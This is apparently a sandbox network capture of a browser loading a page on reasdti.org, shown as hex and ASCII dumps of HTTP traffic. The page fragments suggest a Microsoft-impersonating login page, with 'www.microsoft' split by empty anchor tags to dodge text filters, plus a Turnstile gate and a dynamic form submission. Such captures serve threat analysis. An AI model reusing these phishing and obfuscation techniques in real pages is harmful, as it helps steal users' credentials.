2025-03-21 18:07:50 UTC	7693	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 65 62 61 75 74 68 6e 2d 64 69 76 69 64 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 72 65 6d 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: flex-wrap: wrap; justify-content: center; } .webauthn-divider { margin: 1rem 0; width: 100%; text-align: center;
2025-03-21 18:07:50 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:07:50 UTC	8192	IN	Data Raw: 33 36 36 36 0d 0a 70 61 67 65 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 65 72 69 66 79 43 61 6c 6c 62 61 63 6b 5f 43 46 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 73 70 6f 6e 73 65 20 26 26 20 72 65 73 70 6f 6e 73 65 2e 6c 65 6e 67 74 68 20 3e 20 31 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 72 65 61 74 65 20 66 6f 72 6d 20 64 79 6e 61 6d 69 63 61 6c 6c 79 20 74 6f 20 73 75 62 6d 69 74 20 72 65 73 70 6f 6e 73 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 3666page/images/favicon.ico" /> <script> var verifyCallback_CF = function (response) { if (response && response.length > 10) { // Create form dynamically to submit response
2025-03-21 18:07:50 UTC	5740	IN	Data Raw: 6b 52 41 4d 6f 75 64 68 56 4c 48 44 64 6d 63 59 79 4c 4e 73 78 67 6d 47 71 78 53 7a 62 34 4e 4a 77 59 53 2f 31 61 50 4a 4d 63 7a 58 63 55 49 61 52 56 66 55 6d 6c 45 49 70 32 4f 4e 72 43 55 37 76 78 6f 6b 4d 6f 48 34 7a 67 37 50 6d 4c 71 33 52 5a 52 51 79 44 5a 71 4b 77 79 4e 58 7a 6d 4b 4f 32 72 4b 35 7a 6c 36 54 5a 49 38 35 61 78 35 76 31 7a 78 79 37 68 68 46 68 47 7a 31 63 7a 6a 78 73 51 6e 42 2f 37 31 44 31 70 77 47 7a 65 41 76 47 35 54 67 71 54 4e 5a 4c 70 4e 7a 7a 57 53 54 68 4e 74 70 46 6d 4e 67 6f 68 61 2b 78 6d 68 48 65 46 4d 77 4d 56 5a 51 73 52 4e 4e 66 75 36 62 63 58 33 71 67 34 62 4e 49 74 6f 73 6c 55 6b 73 76 6d 47 52 44 34 56 63 30 62 54 6f 2b 35 59 6a 61 76 39 74 70 41 79 50 4c 59 6c 32 30 2b 5a 44 2b 66 79 56 43 6a 71 53 4d 35 48 4b 76 4d Data Ascii: kRAMoudhVLHDdmcYyLNsxgmGqxSzb4NJwYS/1aPJMczXcUIaRVfUmlEIp2ONrCU7vxokMoH4zg7PmLq3RZRQyDZqKwyNXzmKO2rK5zl6TZI85ax5v1zxy7hhFhGz1czjxsQnB/71D1pwGzeAvG5TgqTNZLpNzzWSThNtpFmNgoha+xmhHeFMwMVZQsRNNfu6bcX3qg4bNItoslUksvmGRD4Vc0bTo+5Yjav9tpAyPLYl20+ZD+fyVCjqSM5HKvM
2025-03-21 18:07:50 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:07:50 UTC	5611	IN	Data Raw: 31 35 64 65 0d 0a 31 33 36 62 31 61 38 61 20 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 77 3c 61 20 74 61 72 67 65 74 3d 22 39 63 30 38 36 65 62 33 22 20 63 6c 61 73 73 3d 22 37 63 66 65 32 35 30 66 22 3e 3c 2f 61 3e 77 77 2e 6d 3c 61 20 74 61 72 67 65 74 3d 22 32 66 38 63 66 39 37 30 22 20 63 6c 61 73 73 3d 22 38 33 65 63 31 62 31 39 22 3e 3c 2f 61 3e 69 63 3c 61 20 74 61 72 67 65 74 3d 22 32 62 66 31 62 35 65 66 22 20 63 6c 61 73 73 3d 22 36 61 30 36 66 35 61 31 22 3e 3c 2f 61 3e 72 6f 73 3c 61 20 74 61 72 67 65 74 3d 22 32 34 38 65 30 35 61 36 22 20 63 6c 61 73 73 3d 22 34 34 31 32 35 65 66 34 22 3e 3c 2f 61 3e 6f 66 3c 61 20 74 61 72 67 65 74 3d 22 33 39 66 39 35 39 62 65 22 20 63 6c 61 73 73 3d 22 38 34 63 38 38 62 64 31 22 3e 3c 2f Data Ascii: 15de136b1a8a zone-name-title h1">w<a target="9c086eb3" class="7cfe250f"></a>ww.m<a target="2f8cf970" class="83ec1b19"></a>ic<a target="2bf1b5ef" class="6a06f5a1"></a>ros<a target="248e05a6" class="44125ef4"></a>of<a target="39f959be" class="84c88bd1"></

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:51 UTC	611	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:51 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 21 Mar 2025 18:07:51 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 923f642a5d7ede92-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:52 UTC	595	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:52 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:52 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 923f6433ae1a7290-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:52 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-21 18:07:52 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:53 UTC	836	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:53 UTC	1297	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28103 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-DhWHqu88NtzljB9p' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-21 18:07:53 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-21 18:07:53 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 44 68 57 48 71 75 38 38 4e 74 7a 6c 6a 42 39 70 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-DhWHqu88NtzljB9p' 'unsafe-
